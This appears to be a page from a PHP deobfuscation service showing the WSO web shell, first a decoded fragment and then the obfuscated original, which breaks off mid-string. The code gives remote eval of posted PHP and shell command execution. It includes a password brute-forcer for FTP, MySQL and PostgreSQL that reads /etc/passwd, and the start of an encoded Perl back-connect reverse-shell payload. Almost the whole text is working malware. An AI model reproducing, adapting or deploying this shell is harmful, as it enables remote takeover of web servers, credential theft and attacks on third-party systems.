\x9<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>\xa\x9\x9 <tr><td></td><td><input type='submit' value='>>'></td></tr>\xa\x9 </table></form>"; function wsoRecursiveGlob($path) { if (substr($path, -1) != "/") { $path .= "/"; } $paths = @array_unique(@array_merge(@glob($path . $_POST["p3"]), @glob($path . "*", GLOB_ONLYDIR))); if (is_array($paths) && @count($paths)) { foreach ($paths as $item) { if (@is_dir($item)) { if ($path != $item) { wsoRecursiveGlob($item); } } else { if (empty($_POST["p2"]) || @strpos(file_get_contents($item), $_POST["p2"]) !== false) { echo "<a href='#' onclick='g("FilesTools",null,"" . urlencode($item) . "", "view","")'>" . htmlspecialchars($item) . "</a><br>"; } } } } } if (@$_POST["p3"]) { wsoRecursiveGlob($_POST["c"]); } echo "</div><br><h1>Search for hash:</h1><div class=content>
\x9 <form method='post' target='_blank' name='hf'>
\x9\x9 <input type='text' name='hash' style='width:200px;'><br>\xa <input type='hidden' name='act' value='find'/>\xa <input type='button' value='hashcracking.ru' onclick="document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()"><br>\xa\x9\x9 <input type='button' value='md5.rednoize.com' onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
<input type='button' value='crackfor.me' onclick="document.hf.action='http://crackfor.me/index.php';document.hf.submit()"><br>
\x9</form></div>"; wsoFooter(); } goto bGsBN; LNEfo: function wsoEx($in) { $out = ''; if (function_exists("exec")) { @exec($in, $out); $out = @join("
", $out); } elseif (function_exists("passthru")) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists("system")) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists("shell_exec")) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { $out = ''; while (!@feof($f)) { $out .= fread($f, 1024); } pclose($f); } return $out; } goto ALSYz; eZPOY: if (empty($_POST["a"])) { if (isset($default_action) && function_exists("action" . $default_action)) { $_POST["a"] = $default_action; } else { $_POST["a"] = "SecInfo"; } } goto xDp19; Fcb5w: function actionPhp() { if (isset($_POST["ajax"])) { WSOsetcookie(md5($_SERVER["HTTP_HOST"]) . "ajax", true); ob_start(); eval($_POST["p1"]); $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\xa
\'\x0") . "';
"; echo strlen($temp), "
", $temp; die; } if (empty($_POST["ajax"]) && !empty($_POST["p1"])) { WSOsetcookie(md5($_SERVER["HTTP_HOST"]) . "ajax", 0); } wsoHeader(); if (isset($_POST["p2"]) && $_POST["p2"] == "info") { echo "<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>"; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace(array("!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU", "!td, th {(.*)}!msiU", "!<img[^>]+>!msiU"), array('', ".e, .v, .h, .h th {$1}", ''), $tmp); echo str_replace("<h1", "<h2", $tmp) . "</div><br>"; } echo "<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a('Php',null,this.code.value);}else{g('Php',null,this.code.value,'');}return false;"><textarea name=code class=bigarea id=PhpCode>" . (!empty($_POST["p1"]) ? htmlspecialchars($_POST["p1"]) : '') . "</textarea><input type=submit value=Eval style="margin-top:5px">"; echo " <input type=checkbox name=ajax value=1 " . ($_COOKIE[md5($_SERVER["HTTP_HOST"]) . "ajax"] ? "checked" : '') . "> send using AJAX</form><pre id=PhpOutput style="" . (empty($_POST["p1"]) ? "display:none;" : '') . "margin-top:5px;" class=ml1>"; if (!empty($_POST["p1"])) { ob_start(); eval($_POST["p1"]); echo htmlspecialchars(ob_get_clean()); } echo "</pre></div>"; wsoFooter(); } goto MByfO; jVSyF: function wsoPerms($p) { if (($p & 49152) == 49152) { $i = "s"; } elseif (($p & 40960) == 40960) { $i = "l"; } elseif (($p & 32768) == 32768) { $i = "-"; } elseif (($p & 24576) == 24576) { $i = "b"; } elseif (($p & 16384) == 16384) { $i = "d"; } elseif (($p & 8192) == 8192) { $i = "c"; } elseif (($p & 4096) == 4096) { $i = "p"; } else { $i = "u"; } $i .= $p & 256 ? "r" : "-"; $i .= $p & 128 ? "w" : "-"; $i .= $p & 64 ? $p & 2048 ? "s" : "x" : ($p & 2048 ? "S" : "-"); $i .= $p & 32 ? "r" : "-"; $i .= $p & 16 ? "w" : "-"; $i .= $p & 8 ? $p & 1024 ? "s" : "x" : ($p & 1024 ? "S" : "-"); $i .= $p & 4 ? "r" : "-"; $i .= $p & 2 ? "w" : "-"; $i .= $p & 1 ? $p & 512 ? "t" : "x" : ($p & 512 ? "T" : "-"); return $i; } goto Wp0pL; ruvon: $Main(); goto p7swQ; Gwmv4: if ($cwd[strlen($cwd) - 1] != "/") { $cwd .= "/"; } goto k3f9L; K1VTJ: function actionRC() { if (!@$_POST["p1"]) { $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get("safe_mode")); echo serialize($a); } else { eval($_POST["p1"]); } } goto eZPOY; xDp19: if (!empty($_POST["a"]) && function_exists("action" . $_POST["a"])) { call_user_func("action" . $_POST["a"]); } goto CBSXd; CBSXd: die; ?>
Did this file decode correctly?
Original Code
<?php goto kKb5l; H_MjG: function WSOsetcookie($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } goto bUnBe; hvHWh: @set_time_limit(0); goto kORnT; Fans1: function wsoWhich($p) { $path = wsoEx("\167\150\x69\x63\150\40" . $p); if (!empty($path)) { return $path; } return false; } goto dcXMn; vMwzZ: function actionConsole() { if (!empty($_POST["\160\61"]) && !empty($_POST["\160\62"])) { WSOsetcookie(md5($_SERVER["\x48\124\124\x50\x5f\110\117\123\124"]) . "\x73\164\144\145\162\162\x5f\x74\157\x5f\157\165\164", true); $_POST["\160\x31"] .= "\x20\62\76\x26\61"; } elseif (!empty($_POST["\160\61"])) { WSOsetcookie(md5($_SERVER["\110\124\x54\x50\x5f\110\x4f\123\x54"]) . "\x73\164\144\145\x72\162\x5f\164\x6f\x5f\157\165\x74", 0); } if (isset($_POST["\141\x6a\x61\x78"])) { WSOsetcookie(md5($_SERVER["\110\124\x54\x50\137\110\x4f\123\124"]) . "\141\x6a\x61\170", true); ob_start(); echo "\144\56\x63\x66\x2e\143\155\x64\56\x76\x61\154\x75\145\75\47\47\x3b\xa"; $temp = @iconv($_POST["\x63\150\141\162\163\x65\164"], "\125\124\x46\55\x38", addcslashes("\xa\44\40" . $_POST["\160\x31"] . "\xa" . wsoEx($_POST["\x70\x31"]), "\xa\15\x9\134\47\x0")); if (preg_match("\x21\56\52\x63\x64\134\x73\53\50\x5b\136\x3b\x5d\53\51\x24\x21", $_POST["\x70\x31"], $match)) { if (@chdir($match[1])) { $GLOBALS["\143\x77\144"] = @getcwd(); echo "\143\x5f\x3d\47" . $GLOBALS["\143\167\144"] . "\x27\x3b"; } } echo "\144\56\143\x66\56\x6f\x75\x74\x70\165\164\x2e\x76\x61\x6c\165\145\53\x3d\x27" . $temp . "\x27\x3b"; echo "\x64\56\x63\x66\56\x6f\165\164\x70\165\164\56\163\x63\x72\157\154\154\124\157\x70\x20\75\40\x64\x2e\143\146\x2e\x6f\165\x74\160\165\x74\x2e\x73\143\162\x6f\154\x6c\x48\145\x69\x67\x68\x74\x3b"; $temp = ob_get_clean(); echo strlen($temp), "\12", $temp; die; } if (empty($_POST["\141\x6a\x61\x78"]) && !empty($_POST["\160\61"])) { WSOsetcookie(md5($_SERVER["\110\124\x54\120\137\x48\x4f\123\x54"]) . "\141\x6a\x61\170", 0); } wsoHeader(); echo "\74\x73\143\162\151\160\164\x3e\xa\x69\146\x28\167\151\x6e\144\x6f\x77\56\105\x76\x65\156\164\x29\40\167\x69\156\x64\x6f\x77\56\x63\141\x70\164\x75\162\145\105\x76\x65\156\164\x73\x28\x45\x76\x65\156\x74\56\x4b\105\x59\104\117\127\116\x29\73\xa\166\141\x72\x20\143\x6d\x64\163\x20\75\x20\156\145\167\40\101\162\162\141\171\50\x27\x27\x29\73\12\x76\141\162\40\x63\165\x72\x20\x3d\x20\60\73\12\146\x75\x6e\143\x74\151\x6f\x6e\40\153\160\50\145\x29\x20\173\12\x9\x76\x61\162\40\156\x20\75\x20\x28\167\x69\156\x64\157\x77\x2e\105\166\145\x6e\x74\x29\x20\x3f\40\x65\x2e\x77\150\151\143\x68\x20\x3a\x20\145\56\153\145\171\x43\x6f\144\x65\73\xa\11\151\146\50\x6e\x20\75\x3d\x20\x33\70\x29\x20\x7b\12\x9\11\143\165\x72\55\55\x3b\xa\11\11\x69\146\50\143\x75\x72\x3e\x3d\x30\x29\xa\11\11\x9\144\x6f\143\165\x6d\x65\x6e\164\56\143\x66\56\143\x6d\144\x2e\x76\x61\154\x75\145\x20\x3d\x20\x63\155\144\163\x5b\143\165\162\x5d\x3b\12\11\x9\145\154\163\x65\xa\x9\x9\11\x63\165\162\53\53\73\xa\x9\x7d\x20\145\154\x73\145\40\x69\146\x28\x6e\40\75\x3d\40\64\x30\x29\40\x7b\xa\11\11\x63\165\x72\x2b\x2b\x3b\12\x9\11\x69\146\50\x63\x75\x72\40\74\x20\143\x6d\x64\163\56\x6c\145\156\x67\164\150\51\12\x9\11\11\x64\157\x63\x75\x6d\x65\156\164\x2e\x63\146\x2e\143\155\144\x2e\x76\141\154\x75\x65\40\x3d\x20\x63\x6d\144\x73\133\x63\165\x72\x5d\x3b\xa\11\x9\x65\154\x73\145\12\11\11\11\143\x75\162\x2d\x2d\73\xa\x9\x7d\xa\x7d\12\x66\165\x6e\143\164\x69\x6f\156\x20\141\x64\144\x28\x63\155\144\51\x20\x7b\12\11\x63\155\x64\163\x2e\x70\157\160\50\x29\73\12\x9\x63\155\x64\x73\56\160\x75\x73\x68\50\x63\155\144\x29\x3b\12\x9\143\x6d\x64\163\56\160\x75\163\150\50\47\x27\51\x3b\12\11\143\165\x72\40\x3d\x20\143\x6d\144\x73\x2e\x6c\x65\x6e\147\x74\150\x2d\x31\73\xa\175\12\74\57\163\143\x72\151\x70\164\76"; echo "\x3c\x68\61\76\103\157\x6e\163\157\x6c\145\x3c\x2f\x68\x31\x3e\74\x64\x69\166\x20\x63\x6c\x61\163\163\75\x63\x6f\156\x74\x65\x6e\x74\x3e\74\146\x6f\162\x6d\x20\x6e\x61\155\145\75\x63\x66\x20\x6f\156\163\165\x62\x6d\x69\x74\75\x22\151\x66\50\144\56\143\146\56\143\x6d\144\x2e\166\141\154\x75\x65\75\75\47\x63\x6c\145\141\162\47\51\x7b\x64\56\x63\x66\x2e\x6f\165\x74\160\165\x74\x2e\x76\141\154\165\x65\x3d\x27\47\x3b\144\56\x63\146\x2e\143\x6d\x64\56\166\141\x6c\165\145\75\47\47\x3b\162\x65\164\x75\162\x6e\x20\x66\x61\154\163\x65\x3b\175\141\x64\x64\x28\164\150\x69\x73\x2e\x63\x6d\144\x2e\x76\141\154\x75\x65\51\73\151\146\50\164\x68\151\x73\56\x61\152\x61\170\x2e\143\x68\x65\143\153\x65\x64\51\173\x61\x28\x6e\x75\154\154\54\x6e\x75\154\154\54\x74\x68\x69\x73\56\x63\155\x64\x2e\x76\x61\154\165\x65\x2c\164\x68\x69\x73\56\x73\x68\157\x77\137\145\x72\162\x6f\162\163\x2e\x63\x68\x65\x63\153\x65\144\77\61\72\47\x27\x29\73\175\145\154\163\145\x7b\x67\x28\156\165\154\154\54\156\x75\154\154\54\164\x68\x69\x73\x2e\143\155\x64\x2e\x76\141\154\x75\x65\x2c\x74\x68\x69\163\56\x73\x68\x6f\167\137\145\162\x72\157\162\163\56\143\x68\145\143\x6b\x65\144\x3f\x31\x3a\x27\x27\x29\x3b\x7d\40\x72\x65\164\165\162\156\40\x66\141\154\163\x65\73\42\x3e\74\x73\x65\x6c\145\143\164\40\156\141\155\145\x3d\141\x6c\x69\141\x73\76"; foreach ($GLOBALS["\141\x6c\x69\141\x73\145\x73"] as $n => $v) { if ($v == '') { echo "\74\x6f\x70\164\x67\x72\157\x75\x70\40\154\x61\x62\x65\154\75\42\x2d" . htmlspecialchars($n) . "\55\42\x3e\74\x2f\x6f\160\164\x67\x72\157\165\x70\x3e"; continue; } echo "\74\157\160\164\x69\x6f\x6e\40\x76\x61\x6c\x75\x65\75\x22" . htmlspecialchars($v) . "\x22\x3e" . $n . "\74\57\x6f\160\164\x69\x6f\156\x3e"; } echo "\74\x2f\x73\145\154\145\x63\164\76\74\x69\156\x70\165\164\x20\x74\x79\160\145\x3d\x62\x75\164\164\x6f\x6e\x20\157\x6e\143\154\x69\143\153\75\x22\x61\x64\x64\x28\144\x2e\x63\x66\x2e\141\154\151\141\163\56\x76\141\154\x75\x65\x29\73\x69\146\50\144\x2e\143\146\56\141\152\141\170\56\143\150\145\143\x6b\145\x64\51\x7b\141\x28\x6e\x75\154\x6c\54\156\165\x6c\154\x2c\x64\x2e\143\146\56\x61\x6c\151\x61\x73\x2e\x76\141\154\165\x65\54\x64\x2e\x63\146\56\x73\150\157\x77\137\145\162\162\x6f\x72\x73\x2e\x63\150\145\x63\153\145\144\x3f\61\x3a\x27\47\x29\73\175\x65\x6c\163\x65\173\147\50\x6e\165\154\154\54\x6e\165\x6c\x6c\54\x64\x2e\x63\x66\x2e\x61\x6c\x69\x61\x73\56\x76\x61\154\x75\x65\x2c\144\56\x63\146\56\163\x68\x6f\167\137\x65\162\x72\x6f\162\163\x2e\x63\150\145\143\153\145\144\x3f\61\x3a\47\x27\x29\x3b\x7d\42\x20\166\x61\154\165\x65\75\x22\x3e\x3e\42\76\40\74\156\x6f\x62\x72\x3e\74\151\x6e\160\x75\164\x20\x74\171\160\145\x3d\143\150\145\143\x6b\x62\x6f\170\40\x6e\x61\155\x65\75\141\x6a\x61\170\40\166\x61\154\165\145\75\61\x20" . (@$_COOKIE[md5($_SERVER["\x48\124\124\120\x5f\x48\x4f\123\124"]) . "\x61\x6a\x61\170"] ? "\x63\150\145\x63\x6b\145\x64" : '') . "\76\x20\x73\x65\x6e\x64\40\165\x73\x69\x6e\x67\x20\x41\112\101\130\40\74\x69\156\x70\165\164\x20\x74\171\160\145\75\x63\x68\145\143\x6b\142\x6f\x78\x20\x6e\141\x6d\x65\75\163\x68\157\x77\x5f\145\x72\x72\157\162\163\x20\166\x61\154\x75\145\75\61\x20" . (!empty($_POST["\x70\x32"]) || $_COOKIE[md5($_SERVER["\110\124\124\120\137\110\x4f\123\x54"]) . "\163\x74\144\145\x72\x72\137\x74\x6f\x5f\x6f\165\164"] ? "\143\x68\145\x63\x6b\145\x64" : '') . "\x3e\40\x72\x65\144\151\x72\x65\x63\164\x20\163\164\x64\145\162\x72\40\x74\157\40\x73\x74\x64\x6f\x75\x74\40\50\62\x3e\46\61\51\x3c\57\x6e\x6f\x62\x72\x3e\74\x62\162\x2f\x3e\x3c\164\x65\170\164\141\162\145\141\40\143\x6c\x61\163\163\75\x62\151\x67\141\162\145\x61\x20\x6e\141\155\x65\75\157\x75\164\160\x75\x74\40\163\x74\x79\154\145\75\42\x62\x6f\x72\144\x65\162\55\x62\157\x74\164\x6f\x6d\x3a\x30\73\155\141\162\147\151\x6e\x3a\60\x3b\42\x20\x72\145\141\x64\157\156\x6c\171\76"; if (!empty($_POST["\x70\x31"])) { echo htmlspecialchars("\x24\x20" . $_POST["\160\x31"] . "\xa" . wsoEx($_POST["\160\61"])); } echo "\x3c\x2f\x74\x65\x78\x74\141\x72\x65\141\x3e\74\164\x61\x62\154\x65\x20\163\164\x79\x6c\x65\x3d\x22\142\157\162\144\145\x72\72\61\160\170\x20\x73\157\x6c\x69\x64\40\43\x64\x66\65\x3b\142\x61\143\153\x67\162\x6f\165\156\x64\x2d\143\157\154\157\x72\72\x23\x35\65\x35\73\142\x6f\162\x64\x65\162\55\x74\x6f\160\72\60\x70\170\x3b\42\x20\x63\x65\x6c\x6c\x70\141\x64\x64\x69\156\x67\x3d\x30\x20\143\x65\154\x6c\x73\160\141\143\x69\156\x67\75\60\x20\x77\x69\144\164\150\x3d\x22\x31\x30\60\x25\42\x3e\74\x74\x72\76\x3c\164\x64\x20\x77\x69\x64\x74\150\x3d\42\61\45\42\x3e\44\74\57\164\x64\x3e\74\164\x64\x3e\x3c\x69\x6e\x70\x75\x74\x20\164\x79\160\145\x3d\164\145\170\164\x20\x6e\x61\x6d\145\x3d\x63\155\144\x20\163\164\171\154\145\x3d\x22\x62\157\162\x64\145\162\72\x30\160\x78\x3b\167\x69\144\x74\x68\x3a\x31\60\60\x25\x3b\42\40\157\156\153\x65\171\144\x6f\x77\x6e\75\42\x6b\160\50\145\x76\x65\x6e\x74\x29\73\x22\x3e\74\57\164\x64\x3e\x3c\x2f\164\x72\x3e\74\57\164\x61\x62\x6c\145\76"; echo "\74\57\146\x6f\162\155\x3e\74\57\x64\151\166\x3e\x3c\x73\x63\162\151\160\164\76\144\56\143\x66\x2e\143\155\x64\x2e\146\x6f\143\165\163\x28\51\73\x3c\x2f\x73\143\x72\151\160\x74\76"; wsoFooter(); } goto SXC8a; mBixn: $default_charset = "\x57\151\x6e\144\x6f\x77\x73\55\61\62\65\61"; goto xeLTs; LHDJO: if (!function_exists("\160\x6f\163\x69\x78\137\x67\x65\164\160\x77\165\x69\144") && strpos($GLOBALS["\144\151\163\141\x62\154\x65\x5f\x66\165\156\143\x74\x69\157\x6e\163"], "\160\x6f\x73\x69\170\137\147\145\x74\x70\x77\165\x69\144") === false) { function posix_getpwuid($p) { return false; } } goto CSr1L; v_5ZB: $disable_functions = @ini_get("\x64\x69\x73\141\x62\x6c\145\137\146\165\x6e\x63\164\x69\x6f\x6e\163"); goto LyElU; imkkm: function actionBruteforce() { wsoHeader(); if (isset($_POST["\160\162\157\164\x6f"])) { echo "\x3c\x68\x31\x3e\x52\145\x73\x75\154\x74\163\74\57\x68\x31\76\74\x64\151\x76\x20\143\x6c\x61\163\163\x3d\x63\x6f\156\x74\x65\x6e\x74\x3e\74\163\x70\141\x6e\76\124\171\x70\145\72\74\57\x73\x70\x61\156\76\40" . htmlspecialchars($_POST["\x70\x72\x6f\x74\157"]) . "\x20\x3c\163\x70\141\x6e\x3e\123\x65\x72\x76\145\162\x3a\x3c\57\x73\x70\x61\x6e\x3e\40" . htmlspecialchars($_POST["\x73\145\x72\x76\x65\x72"]) . "\x3c\x62\x72\x3e"; if ($_POST["\x70\162\x6f\164\157"] == "\x66\x74\x70") { function wsoBruteForce($ip, $port, $login, $pass) { $fp = @ftp_connect($ip, $port ? $port : 21); if (!$fp) { return false; } $res = @ftp_login($fp, $login, $pass); @ftp_close($fp); return $res; } } elseif ($_POST["\160\x72\x6f\164\x6f"] == "\155\x79\x73\x71\154") { function wsoBruteForce($ip, $port, $login, $pass) { $res = @mysql_connect($ip . "\x3a" . $port ? $port : 3306, $login, $pass); @mysql_close($res); return $res; } } elseif ($_POST["\160\162\x6f\x74\157"] == "\x70\147\x73\x71\154") { function wsoBruteForce($ip, $port, $login, $pass) { $str = "\150\157\163\x74\75\x27" . $ip . "\47\x20\160\157\162\164\x3d\47" . $port . "\47\x20\x75\x73\145\x72\75\47" . $login . "\47\40\x70\x61\163\163\x77\x6f\162\144\75\x27" . $pass . "\x27\x20\144\142\156\x61\x6d\145\75\x70\x6f\x73\x74\x67\x72\145\163"; $res = @pg_connect($str); @pg_close($res); return $res; } } $success = 0; $attempts = 0; $server = explode("\x3a", $_POST["\163\145\162\x76\145\162"]); if ($_POST["\164\x79\x70\x65"] == 1) { $temp = @file("\x2f\145\164\x63\57\160\141\163\x73\x77\144"); if (is_array($temp)) { foreach ($temp as $line) { $line = explode("\72", $line); ++$attempts; if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) { $success++; echo "\x3c\x62\x3e" . htmlspecialchars($line[0]) . "\74\x2f\x62\x3e\72" . htmlspecialchars($line[0]) . "\74\x62\162\x3e"; } if (@$_POST["\x72\145\166\145\x72\163\x65"]) { $tmp = ''; for ($i = strlen($line[0]) - 1; $i >= 0; --$i) { $tmp .= $line[0][$i]; } ++$attempts; if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) { $success++; echo "\x3c\x62\x3e" . htmlspecialchars($line[0]) . "\x3c\x2f\x62\76\x3a" . htmlspecialchars($tmp); } } } } } elseif ($_POST["\x74\171\x70\x65"] == 2) { $temp = @file($_POST["\x64\151\x63\x74"]); if (is_array($temp)) { foreach ($temp as $line) { $line = trim($line); ++$attempts; if (wsoBruteForce($server[0], @$server[1], $_POST["\x6c\x6f\x67\x69\x6e"], $line)) { $success++; echo "\x3c\x62\x3e" . htmlspecialchars($_POST["\x6c\157\147\x69\x6e"]) . "\x3c\57\142\x3e\x3a" . htmlspecialchars($line) . "\74\142\162\76"; } } } } echo "\74\x73\x70\141\x6e\76\101\164\x74\x65\x6d\x70\x74\x73\x3a\x3c\57\163\160\x61\x6e\76\40{$attempts}\40\74\163\x70\141\x6e\76\x53\165\x63\x63\x65\163\x73\x3a\x3c\57\x73\160\141\x6e\76\x20{$success}\74\57\x64\x69\x76\76\x3c\x62\x72\76"; } echo "\x3c\x68\61\76\102\162\165\164\145\x66\x6f\x72\x63\x65\x3c\x2f\150\61\76\x3c\x64\x69\166\40\x63\x6c\x61\163\163\75\143\157\x6e\164\x65\156\x74\76\x3c\164\141\x62\154\x65\76\74\x66\x6f\162\155\x20\155\x65\164\x68\x6f\x64\75\x70\157\163\164\x3e\x3c\164\162\x3e\74\164\144\x3e\74\163\x70\x61\x6e\76\x54\x79\x70\145\74\57\163\x70\x61\x6e\x3e\74\57\164\144\x3e" . "\x3c\164\x64\76\74\x73\x65\154\x65\x63\x74\x20\x6e\141\x6d\x65\75\160\162\157\164\x6f\x3e\x3c\x6f\x70\x74\151\157\x6e\40\166\141\x6c\165\145\75\146\164\160\x3e\106\x54\120\x3c\x2f\x6f\x70\x74\151\x6f\x6e\76\x3c\x6f\x70\164\x69\157\156\x20\166\x61\154\165\x65\75\x6d\x79\163\x71\x6c\76\x4d\171\x53\x71\154\x3c\x2f\x6f\160\x74\151\157\156\76\74\157\160\x74\151\x6f\x6e\x20\x76\141\154\x75\x65\75\x70\147\x73\x71\x6c\x3e\x50\x6f\163\x74\147\162\145\123\161\x6c\x3c\57\x6f\160\164\151\157\156\x3e\74\57\x73\145\x6c\145\x63\x74\x3e\74\x2f\x74\x64\x3e\74\57\x74\x72\x3e\x3c\x74\x72\76\74\x74\x64\76" . "\x3c\x69\x6e\x70\x75\x74\x20\x74\171\160\x65\x3d\x68\x69\x64\144\x65\x6e\40\x6e\141\155\x65\x3d\143\x20\x76\x61\154\165\145\x3d\x22" . htmlspecialchars($GLOBALS["\x63\x77\x64"]) . "\x22\76" . "\74\x69\156\x70\x75\x74\40\x74\x79\160\x65\x3d\x68\x69\144\144\x65\156\x20\x6e\141\x6d\145\75\x61\x20\166\x61\154\x75\x65\x3d\x22" . htmlspecialchars($_POST["\x61"]) . "\x22\x3e" . "\x3c\x69\156\160\x75\x74\x20\x74\x79\160\x65\x3d\x68\151\144\x64\145\156\x20\156\x61\x6d\145\x3d\x63\150\x61\162\163\145\164\40\166\x61\x6c\x75\145\75\42" . htmlspecialchars($_POST["\143\150\141\x72\163\x65\164"]) . "\x22\76" . "\74\163\x70\141\156\76\x53\x65\162\166\x65\162\72\x70\157\162\164\74\57\163\160\x61\156\76\x3c\57\164\144\x3e" . "\74\x74\x64\x3e\x3c\151\x6e\160\165\x74\40\x74\171\x70\145\x3d\x74\145\x78\x74\40\156\141\155\x65\x3d\163\145\x72\166\x65\x72\40\166\x61\x6c\165\x65\x3d\42\61\x32\67\56\60\56\x30\x2e\61\42\x3e\74\57\164\144\x3e\x3c\57\164\x72\76" . "\x3c\164\162\x3e\74\x74\144\76\x3c\x73\x70\x61\x6e\76\x42\x72\x75\x74\145\40\164\171\x70\145\74\57\x73\160\141\x6e\76\74\x2f\x74\144\76" . "\74\x74\x64\x3e\x3c\x6c\141\142\x65\x6c\76\x3c\x69\x6e\160\165\164\40\x74\171\x70\145\75\x72\x61\x64\151\x6f\40\156\x61\x6d\x65\75\x74\x79\x70\x65\40\166\x61\154\165\145\x3d\x22\x31\42\40\x63\x68\145\x63\153\145\144\76\x20\57\145\x74\x63\x2f\160\x61\x73\x73\x77\x64\74\x2f\x6c\x61\x62\145\x6c\x3e\74\57\x74\x64\76\x3c\x2f\x74\162\76" . "\x3c\x74\x72\x3e\x3c\164\144\x3e\x3c\x2f\x74\144\76\x3c\164\x64\x3e\x3c\154\x61\x62\145\154\x20\163\164\171\x6c\145\x3d\x22\x70\x61\144\x64\151\x6e\147\55\x6c\145\x66\x74\72\61\x35\x70\x78\x22\76\x3c\x69\156\160\x75\x74\40\164\171\x70\145\x3d\x63\150\x65\x63\x6b\x62\157\170\40\x6e\141\155\x65\x3d\162\145\166\x65\x72\163\x65\x20\166\141\x6c\165\x65\x3d\x31\40\143\150\145\x63\x6b\145\144\76\x20\x72\145\x76\x65\x72\x73\x65\x20\50\154\x6f\x67\x69\156\40\55\x3e\40\156\x69\x67\157\154\x29\74\x2f\154\141\x62\145\154\76\x3c\57\x74\x64\76\74\57\164\x72\x3e" . "\74\x74\x72\76\x3c\x74\144\x3e\x3c\57\x74\x64\76\x3c\x74\144\x3e\74\x6c\141\142\x65\154\76\74\x69\x6e\x70\x75\164\x20\164\171\x70\x65\x3d\162\141\x64\151\x6f\x20\156\141\155\145\x3d\164\x79\160\x65\x20\166\x61\154\165\145\75\42\x32\42\x3e\40\x44\x69\x63\164\151\157\156\x61\x72\171\74\x2f\154\141\x62\x65\154\76\74\57\x74\x64\x3e\74\57\x74\x72\x3e" . "\x3c\164\162\x3e\x3c\164\x64\76\74\x2f\x74\x64\x3e\74\164\144\x3e\x3c\x74\141\x62\x6c\x65\40\x73\x74\x79\x6c\x65\x3d\42\160\141\x64\x64\x69\156\147\x2d\x6c\x65\x66\164\x3a\61\x35\160\170\x22\76\74\x74\162\76\74\164\x64\x3e\x3c\x73\160\x61\x6e\x3e\114\x6f\x67\151\156\74\x2f\x73\x70\x61\156\76\x3c\57\x74\144\x3e" . "\x3c\x74\144\x3e\74\151\156\160\x75\164\x20\x74\x79\160\x65\x3d\164\145\170\x74\40\x6e\x61\155\145\x3d\154\157\x67\151\x6e\x20\x76\141\154\x75\x65\75\x22\162\157\157\164\x22\76\74\x2f\x74\x64\76\74\x2f\x74\162\x3e" . "\x3c\164\162\x3e\74\164\x64\x3e\74\x73\160\x61\x6e\x3e\104\151\x63\x74\151\157\156\x61\162\x79\74\x2f\163\x70\x61\156\x3e\x3c\57\164\144\76" . "\74\164\144\76\x3c\151\156\160\x75\x74\40\x74\x79\x70\145\x3d\164\145\x78\x74\40\156\x61\x6d\x65\75\144\151\x63\164\x20\166\x61\x6c\x75\x65\x3d\x22" . htmlspecialchars($GLOBALS["\143\167\144"]) . "\x70\141\163\x73\x77\x64\x2e\x64\x69\x63\x22\76\x3c\57\164\x64\x3e\x3c\57\x74\162\x3e\74\57\x74\141\x62\154\x65\x3e" . "\74\x2f\164\144\x3e\x3c\x2f\164\162\76\74\164\162\x3e\x3c\x74\x64\76\74\x2f\164\x64\76\x3c\164\x64\x3e\74\x69\156\x70\x75\x74\40\x74\171\x70\x65\x3d\x73\x75\142\155\x69\164\x20\166\141\x6c\165\145\x3d\x22\76\x3e\x22\76\74\x2f\164\x64\76\x3c\57\x74\x72\76\x3c\x2f\x66\157\x72\x6d\76\74\57\164\x61\142\154\x65\x3e"; echo "\74\57\144\x69\x76\76\x3c\x62\x72\x3e"; wsoFooter(); } goto BR0ty; ALSYz: function wsoViewSize($s) { if ($s >= 1073741824) { return sprintf("\x25\x31\x2e\62\146", $s / 1073741824) . "\x20\x47\102"; } elseif ($s >= 1048576) { return sprintf("\x25\x31\56\62\x66", $s / 1048576) . "\40\x4d\102"; } elseif ($s >= 1024) { return sprintf("\45\61\56\x32\146", $s / 1024) . "\x20\x4b\102"; } else { return $s . "\40\x42"; } } goto jVSyF; XKhEZ: function actionNetwork() { wsoHeader(); $back_connect_p = "\x49\171\105\x76\x64\130\116\171\x4c\x32\x4a\160\x62\x69\x39\167\x5a\130\x4a\x73\x44\x51\x70\61\x63\62\x55\147\x55\62\x39\x6a\141\62\x56\x30\117\167\60\x4b\x4a\x47\154\150\x5a\107\x52\x79\x50\127\154\165\132\130\122\146\x59\130\x52\166\142\151\x67\x6b\121\126\x4a\110\126\x6c\163\167\x58\123\153\147\x66\x48\x77\147\132\x47\x6c\x6c\x4b\103\x4a\106\x63\x6e\x4a\x76\x63\x6a\157\147\x4a\x43\x46\x63\142\151\x49\160\117\x77\x30\x4b\x4a\110\x42\x68\132\107\x52\171\120\x58\x4e\x76\131\x32\x74\150\x5a\x47\122\171\x58\62\x6c\x75\x4b\x43\x52\102\x55\x6b\x64\x57\127\x7a\x46\x64\x4c\103\x41\x6b\x61\x57\x46\153\x5a\x48\x49\x70\111\x48\170\x38\111\x47\122\x70\x5a\x53\147\151\122\x58\x4a\171\142\x33\x49\x36\111\x43\x51\150\130\x47\64\x69\113\x54\x73\116\103\x69\122\167\143\155\x39\x30\142\172\x31\x6e\132\x58\122\x77\x63\155\x39\x30\x62\x32\112\x35\x62\155\106\x74\132\x53\x67\156\x64\107\116\x77\112\171\x6b\67\x44\121\x70\x7a\x62\62\x4e\x72\x5a\130\x51\x6f\x55\x30\71\104\123\x30\x56\x55\x4c\x43\102\121\122\x6c\71\x4a\x54\x6b\x56\x55\x4c\x43\102\124\124\60\116\x4c\130\x31\x4e\125\x55\153\126\102\x54\x53\167\x67\112\110\x42\x79\142\x33\x52\x76\x4b\123\x42\70